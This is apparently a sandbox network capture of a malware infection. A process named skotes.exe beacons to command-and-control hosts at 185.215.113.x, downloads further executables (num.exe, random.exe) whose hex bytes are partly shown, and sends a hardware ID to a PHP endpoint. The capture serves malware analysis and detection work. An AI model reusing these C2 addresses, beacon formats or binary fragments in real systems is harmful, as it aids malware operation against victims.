Oct 7, 2024 03:23:09.457844019 CEST	1236	IN	Data Raw: 46 08 8b 0c b8 8b d1 8b 44 b8 04 89 4d f4 8b c8 89 45 f8 e8 dc a9 01 00 84 c0 75 13 8b 4e 0c 47 8d 41 ff 3b f8 7c d8 84 db 75 c9 5b 5f eb 8c 8b 46 08 b3 01 8b 4d f8 89 0c b8 8b 46 08 8b 4d f4 89 4c b8 04 eb d6 55 8b ec 83 e4 f8 b8 2c 00 02 00 e8 Data Ascii: FDMEuNGA;\|u[_FMFMLU,SVWL$(D$83Ph\$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<P
Oct 7, 2024 03:23:09.457890987 CEST	1236	IN	Data Raw: 7a 00 00 8d 45 94 50 8d 4d c0 e8 b9 40 00 00 68 84 ca 49 00 8d 4d e0 e8 d7 6d 00 00 53 6a 01 8d 45 c0 50 8d 45 e0 50 e8 2f 79 00 00 8d 4d e0 e8 9b 69 00 00 68 74 ca 49 00 8d 4d d0 c7 45 e0 00 01 00 00 89 5d e8 c7 45 ec 01 00 00 00 e8 a1 6d 00 00 Data Ascii: zEPM@hIMmSjEPEP/yMihtIME]EmSSEPEPxMEciMluM"zEPM9}WhXIYYWh0IYYWhIYYWhIYYu>M8]uM
Oct 7, 2024 03:23:09.462841988 CEST	1236	IN	Data Raw: 00 00 8d 85 fc ff fe ff 8b ce 50 e8 b3 37 00 00 5e c9 c3 56 8b f1 56 e8 b3 15 02 00 59 85 c0 74 0f 66 83 7c 46 fe 5c 75 07 33 c9 66 89 4c 46 fe 5e c3 55 8b ec 56 57 8b f9 33 f6 46 8b 4f 0c 8b 01 3b c6 0f 8f de fc 03 00 51 ff 75 08 8b cf e8 06 00 Data Ascii: P7^VVYtf\|F\u3fLF^UVW3FO;Qu_^]USVWueYN3C;FPiq?PFuCP~3N_fH^[]U<EL$S3#MV4If#MW#M#M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49836	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:12.788412094 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 33 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000332001&unit=246122658369
Oct 7, 2024 03:23:13.484791040 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:23:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49842	185.215.113.103	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:13.493395090 CEST	53	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.103
Oct 7, 2024 03:23:14.334355116 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:14 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sun, 29 Sep 2024 08:19:54 GMT ETag: "4cc00-6233dc0bf3e80" Accept-Ranges: bytes Content-Length: 314368 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@&@(<%$.text .rdata@@.data#@.relocE%F@B
Oct 7, 2024 03:23:14.334383965 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 dc 41 00 00 00 00 00 00 00 00 00 81 ce 41 00 ea ce 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj(dEPtX
Oct 7, 2024 03:23:14.334400892 CEST	1236	IN	Data Raw: fc ff ff 52 e8 eb 92 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 be 3c 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 1d 93 01 00 8d 8d f8 fb ff ff e8 e2 95 01 00 50 ff 15 90 a7 64 00 8d 8d f8 fb ff ff e8 40 95 Data Ascii: REPQ<Pd@5jjRAM]UQMM\|MHM<M0}MO]UQMEPM
Oct 7, 2024 03:23:14.334415913 CEST	672	IN	Data Raw: 42 00 8d 95 cc fe ff ff 52 ff 15 9c a8 64 00 85 c0 75 05 e9 7d 04 00 00 68 1f 0e 42 00 8d 8d 94 fe ff ff e8 98 8d 01 00 83 7d 30 00 0f 84 e6 00 00 00 8d 45 24 50 8d 8d 6c fd ff ff 51 68 fc 54 42 00 8d 95 78 fd ff ff 52 8d 85 cc fe ff ff 50 8d 8d Data Ascii: BRdu}hB}0E$PlQhTBxRPQhTTBREPQhSBREPQ}PZlx
Oct 7, 2024 03:23:14.334433079 CEST	1236	IN	Data Raw: 8c 01 00 8d 8d f0 fc ff ff e8 d2 8b 01 00 83 7d 30 00 74 4d 8d 55 24 52 8d 85 d8 fc ff ff 50 68 44 58 42 00 8d 8d e4 fc ff ff 51 8d 8d 80 fe ff ff e8 5a 8d 01 00 8b c8 e8 c3 8c 01 00 50 8d 8d 80 fe ff ff e8 37 8c 01 00 8d 8d d8 fc ff ff e8 8c 8b Data Ascii: }0tMU$RPhDXBQZP70RPPOh#BtjQnPRdPQt'Pt
Oct 7, 2024 03:23:14.334460020 CEST	1236	IN	Data Raw: 45 08 83 c0 10 5d c3 cc cc cc cc cc 55 8b ec 8b 45 08 83 e8 10 5d c3 cc cc cc cc cc 55 8b ec 83 ec 0c 83 3d 90 a9 64 00 00 75 12 68 00 00 20 00 68 98 a0 44 00 e8 32 fe ff ff 83 c4 08 8b 45 08 83 c0 10 50 e8 b3 fe ff ff 83 c4 04 89 45 f8 8b 4d f8 Data Ascii: E]UE]U=duh hD2EPEMQdR]E}uEPdQAE}u3TUjaEM9A~*UB+EPMQpEUEdMQ ]UQ}
Oct 7, 2024 03:23:14.334476948 CEST	1236	IN	Data Raw: 0c a3 cc a1 64 00 6a 09 68 50 1f 42 00 68 5c 1f 42 00 e8 e1 1f 00 00 83 c4 0c a3 94 a3 64 00 6a 14 68 68 1f 42 00 68 80 1f 42 00 e8 c8 1f 00 00 83 c4 0c a3 28 a1 64 00 6a 06 68 98 1f 42 00 68 a0 1f 42 00 e8 af 1f 00 00 83 c4 0c a3 14 a4 64 00 6a Data Ascii: djhPBh\BdjhhBhB(djhBhBdjhBhBPdjhBhB}@djhBhBddjhBhBKdjhBh B2d]Ujh Bh( Bd
Oct 7, 2024 03:23:14.334494114 CEST	1236	IN	Data Raw: 83 c4 0c a3 28 a6 64 00 6a 0e 68 70 24 42 00 68 80 24 42 00 e8 0b 1b 00 00 83 c4 0c a3 4c a4 64 00 6a 09 68 90 24 42 00 68 9c 24 42 00 e8 f2 1a 00 00 83 c4 0c a3 e0 a4 64 00 6a 0b 68 a8 24 42 00 68 b4 24 42 00 e8 d9 1a 00 00 83 c4 0c a3 4c a5 64 Data Ascii: (djhp$Bh$BLdjh$Bh$Bdjh$Bh$BLdjh$Bh$Bhdjh$Bh$B\djh$Bh%Bdj h%Bh<%Budjh`%Bhp%B\ djh%Bh%BChdjh%Bh%
Oct 7, 2024 03:23:14.334512949 CEST	1236	IN	Data Raw: 48 2b 42 00 68 5c 2b 42 00 e8 42 16 00 00 83 c4 0c a3 10 a5 64 00 6a 05 68 70 2b 42 00 68 78 2b 42 00 e8 29 16 00 00 83 c4 0c a3 30 a5 64 00 6a 0b 68 80 2b 42 00 68 8c 2b 42 00 e8 10 16 00 00 83 c4 0c a3 48 a3 64 00 6a 09 68 98 2b 42 00 68 a4 2b Data Ascii: H+Bh\+BBdjhp+Bhx+B)0djh+Bh+BHdjh+Bh+Bdjh+Bh+B`djh+Bh+Bdjh,Bh,B,djh ,Bh,,Bdjh8,BhL,Bzxdjh`,Bhp,Ba
Oct 7, 2024 03:23:14.334531069 CEST	1236	IN	Data Raw: 11 00 00 83 c4 0c a3 20 a6 64 00 6a 0f 68 00 32 42 00 68 10 32 42 00 e8 60 11 00 00 83 c4 0c a3 10 a3 64 00 6a 0f 68 20 32 42 00 68 30 32 42 00 e8 47 11 00 00 83 c4 0c a3 a4 a4 64 00 6a 3d 68 40 32 42 00 68 80 32 42 00 e8 2e 11 00 00 83 c4 0c a3 Data Ascii: djh2Bh2B`djh 2Bh02BGdj=h@2Bh2B.4djh2Bh2B\|djh2Bh2B$djh2Bh2B\djh3Bh3Bdjh3Bh3Bdjh(3Bh03BPdjh83B
Oct 7, 2024 03:23:14.334554911 CEST	1236	IN	Data Raw: 6a 11 68 e0 39 42 00 68 f4 39 42 00 e8 97 0c 00 00 83 c4 0c a3 ac a0 64 00 6a 14 68 08 3a 42 00 68 20 3a 42 00 e8 7e 0c 00 00 83 c4 0c a3 a4 a0 64 00 6a 0b 68 38 3a 42 00 68 44 3a 42 00 e8 65 0c 00 00 83 c4 0c a3 d8 a5 64 00 6a 0c 68 50 3a 42 00 Data Ascii: jh9Bh9Bdjh:Bh :B~djh8:BhD:BedjhP:Bh`:BLdjhp:Bhx:B3djh:Bh:Bdjh:Bh:Bdjh:Bh:Bdjh:Bh:Bdj,h:Bh;B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49854	185.215.113.37	80	2488	C:\Users\user\AppData\Local\Temp\1000336001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:15.057343960 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:23:15.772275925 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 03:23:15.774722099 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHDBFIEGIDGIECBKJEC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 44 42 46 49 45 47 49 44 47 49 45 43 42 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 41 44 45 33 35 43 45 33 41 33 33 39 37 33 35 34 34 31 38 37 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 44 42 46 49 45 47 49 44 47 49 45 43 42 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 44 42 46 49 45 47 49 44 47 49 45 43 42 4b 4a 45 43 2d 2d 0d 0a Data Ascii: ------CFHDBFIEGIDGIECBKJECContent-Disposition: form-data; name="hwid"53ADE35CE3A33973544187------CFHDBFIEGIDGIECBKJECContent-Disposition: form-data; name="build"doma------CFHDBFIEGIDGIECBKJEC--
Oct 7, 2024 03:23:16.011244059 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49872	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:17.128875017 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000336001&unit=246122658369
Oct 7, 2024 03:23:17.841730118 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:23:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49879	185.215.113.103	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:17.850703955 CEST	56	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.103
Oct 7, 2024 03:23:18.561058044 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:18 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 07 Oct 2024 00:46:48 GMT ETag: "1bea00-623d85b170f6f" Accept-Ranges: bytes Content-Length: 1829376 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 20 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 49 00 00 04 00 00 19 15 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELJf I@PI@Wk ^@.rsrc n@.idata n@ )p@kawjnymvP/Pr@ldklrfivI@.taggant0 I"@
Oct 7, 2024 03:23:18.561081886 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 7, 2024 03:23:18.561093092 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 7, 2024 03:23:18.561136961 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 7, 2024 03:23:18.561147928 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 7, 2024 03:23:18.561158895 CEST	672	IN	Data Raw: b4 36 45 6a 6f 04 41 0a 2f 20 f4 74 f7 be 76 c7 48 2f 87 62 6d 8e b0 16 ad 40 1a d5 52 84 fe 4b 20 cd 05 6b 57 a3 13 f6 d9 10 c6 e0 18 ff 6c 8a 3a 38 c8 d8 d7 29 ba 48 97 da bb 63 90 ef 12 90 18 46 d8 dd 15 b7 54 4e 1e dd b9 8a fe b0 eb a7 a2 0c Data Ascii: 6EjoA/ tvH/bm@RK kWl:8)HcFTNf[+,>/44xR5(Xe,`h&SR`-P_L#:53r0 !R) Wgow(Mx!j:\|i[
Oct 7, 2024 03:23:18.561199903 CEST	1236	IN	Data Raw: 20 e1 f9 10 c1 7c 47 5a 40 c9 25 a6 5c 6d 2c 5f c7 d5 6e 86 77 30 95 e2 8a 82 2d ac 90 f0 13 af d8 d9 ee 06 01 e7 d6 e5 47 65 6b ee 99 e1 c9 6e e2 e0 0b bd 5c 0a 7c 47 18 09 38 6a ed ee c0 49 3e d9 45 ee 35 fc ab f2 fc 04 6b c0 f0 38 f9 96 86 c1 Data Ascii: \|GZ@%\m,_nw0-Gekn\\|G8jI>E5k8;+Cw!$%F_^f<\F;9_i/iML:o1,%:X2wGR843!H}63og'$P\x.2y(.XH173
Oct 7, 2024 03:23:18.561211109 CEST	1236	IN	Data Raw: 95 fa 55 24 80 f2 ee a4 0a 42 27 12 d9 f1 6d c0 18 ff 6c 94 bd 13 a8 88 4b a5 16 7d 1b 20 77 5e 4e f1 c6 d0 64 2d fe de 18 67 54 6e 25 66 f5 6e 21 52 61 2e d0 15 ec ed 17 11 61 1b 70 23 f5 f8 19 28 fd 4c 37 61 42 67 2b 09 e9 83 20 1b d8 5f 87 00 Data Ascii: U$B'mlK} w^Nd-gTn%fn!Ra.ap#(L7aBg+ _HR+\|!<IE0(Xi^6)=8U1osl/\/8Lpoh3x(!Hgv#L:Q6x-i6a{FVJ+%9:^?}Fhfo-gT*B~
Oct 7, 2024 03:23:18.561220884 CEST	1236	IN	Data Raw: c2 3a 3f 03 d8 06 1e 71 42 07 f8 47 1c 24 aa 00 1d 36 49 c1 40 29 63 f8 db 64 65 5f bf f2 a7 fb f0 57 14 e5 aa 9c 72 86 4c 10 1a 57 10 3a eb 47 75 92 07 37 d9 08 67 83 21 fa a4 d8 77 03 c4 76 c4 a8 8b 18 2b ce c6 d9 67 fd 6e 9e a0 27 bf d6 9e 3c Data Ascii: :?qBG$6I@)cde_WrLW:Gu7g!wv+gn'<USd84 qX?WJ[_b"ial\f*=Yj5HAv8 !.!?oxK&wz!%$V$/i"co/z_h(EI
Oct 7, 2024 03:23:18.561230898 CEST	1236	IN	Data Raw: 47 b8 ed 54 fc 94 72 1f 95 3e b2 dd 2c b2 90 2e 96 39 c0 26 bb ec 92 fa 2c 32 ce ca 7c a0 06 c8 cb a7 9a 5e 1f 62 2c 9c 58 f2 72 50 02 d6 eb fa 41 ae f9 96 e5 14 ed f1 f8 31 ee a3 3b f5 06 b8 58 f6 b8 01 09 bd c3 ea 22 b7 c5 9e d8 e8 5f 1f d6 26 Data Ascii: GTr>,.9&,2\|^b,XrPA1;X"_&r&&6hFs*4^zG#.V[\cO9~u&u<Kk:DBnXGmRPr!Lul}szm}j %_pR[b_knb$YZ@\>$
Oct 7, 2024 03:23:18.566178083 CEST	1236	IN	Data Raw: 2d 42 f0 fd 9e 28 75 48 fe 72 6a 07 f2 b2 84 1e 6c 7d 32 86 13 21 aa 14 08 1d d5 0b cd eb 00 32 ba 44 f8 62 58 e8 58 24 d7 41 54 06 67 d8 17 8f a8 01 64 ea 88 87 24 c9 ae b3 f2 a9 dd a1 55 d5 8c 55 b5 35 1b e9 e9 6f a0 12 c2 00 9f b4 66 35 43 c9 Data Ascii: -B(uHrjl}2!2DbXX$ATgd$UU5of5C~zS>d09+@DC2WO@n Q9g.YX^25oSysV'/`~(j.p#<##_V(% Z!^j$Ji HA(:*l@6{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	61038	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:22.368422985 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000349001&unit=246122658369
Oct 7, 2024 03:23:23.082109928 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:23:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	61057	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:24.809923887 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 03:23:25.531218052 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:23:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	61077	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:27.056422949 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 7, 2024 03:23:27.772893906 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:23:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	61096	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:29.422569990 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 03:23:30.115160942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:23:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	61114	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:31.645096064 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 7, 2024 03:23:32.348572016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:23:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	61131	185.215.113.37	80	6516	C:\Users\user\AppData\Local\Temp\1000336001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:33.784095049 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:23:34.498110056 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:34 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
